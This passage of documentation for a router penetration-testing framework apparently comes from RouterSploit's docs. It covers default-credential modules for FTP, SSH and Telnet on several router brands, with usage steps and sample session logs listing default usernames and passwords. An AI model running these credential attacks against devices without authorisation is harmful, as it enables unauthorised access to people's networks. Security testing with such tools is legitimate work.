    "path": "docs/modules/creds/routers/netsys/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Netsys Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/netsys/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/netsys/ssh_default_creds\nrsf (Netsys Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Netsys Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/netsys/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Netsys Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/netsys/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/netsys/telnet_default_creds\nrsf (Netsys Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Netsys Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/pfsense/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against PFSense Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/pfsense/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/pfsense/ftp_default_creds\nrsf (PFSense Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (PFSense Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/pfsense/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against PFSense Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/pfsense/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/pfsense/ssh_default_creds\nrsf (PFSense Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (PFSense Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/pfsense/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against PFSense Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/pfsense/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/pfsense/telnet_default_creds\nrsf (PFSense Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (PFSense Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/technicolor/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Technicolor Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/technicolor/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/technicolor/ftp_default_creds\nrsf (Technicolor Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Technicolor Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/technicolor/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Technicolor Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/technicolor/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/technicolor/ssh_default_creds\nrsf (Technicolor Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Technicolor Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/technicolor/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Technicolor Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/technicolor/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/technicolor/telnet_default_creds\nrsf (Technicolor Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Technicolor Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/thomson/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Thomson Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/thomson/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/thomson/ftp_default_creds\nrsf (Thomson Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Thomson Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/thomson/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Thomson Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/thomson/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/thomson/ssh_default_creds\nrsf (Thomson Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Thomson Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/thomson/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Thomson Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/thomson/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/thomson/telnet_default_creds\nrsf (Thomson Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Thomson Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/tplink/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against TP-Link Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/tplink/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/tplink/ftp_default_creds\nrsf (TP-Link Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (TP-Link Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/tplink/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against TP-Link Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/tplink/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/tplink/ssh_default_creds\nrsf (TP-Link Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (TP-Link Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/tplink/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against TP-Link Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/tplink/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/tplink/telnet_default_creds\nrsf (TP-Link Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (TP-Link Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/ubiquiti/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Ubiquiti Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/ubiquiti/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/ubiquiti/ftp_default_creds\nrsf (Ubiquiti Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Ubiquiti Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/ubiquiti/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Ubiquiti Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/ubiquiti/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/ubiquiti/ssh_default_creds\nrsf (Ubiquiti Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Ubiquiti Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/ubiquiti/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Ubiquiti Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/ubiquiti/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/ubiquiti/telnet_default_creds\nrsf (Ubiquiti Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Ubiquiti Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/zte/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against ZTE Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/zte/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/zte/ftp_default_creds\nrsf (ZTE Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (ZTE Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/zte/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against ZTE Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/zte/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/zte/ssh_default_creds\nrsf (ZTE Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (ZTE Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/zte/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against ZTE Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/zte/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/zte/telnet_default_creds\nrsf (ZTE Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (ZTE Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/zyxel/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Zyxel Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/zyxel/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/zyxel/ftp_default_creds\nrsf (Zyxel Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Zyxel Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/zyxel/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Zyxel Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/zyxel/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/zyxel/ssh_default_creds\nrsf (Zyxel Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Zyxel Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/zyxel/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Zyxel Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/zyxel/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/zyxel/telnet_default_creds\nrsf (Zyxel Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Zyxel Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     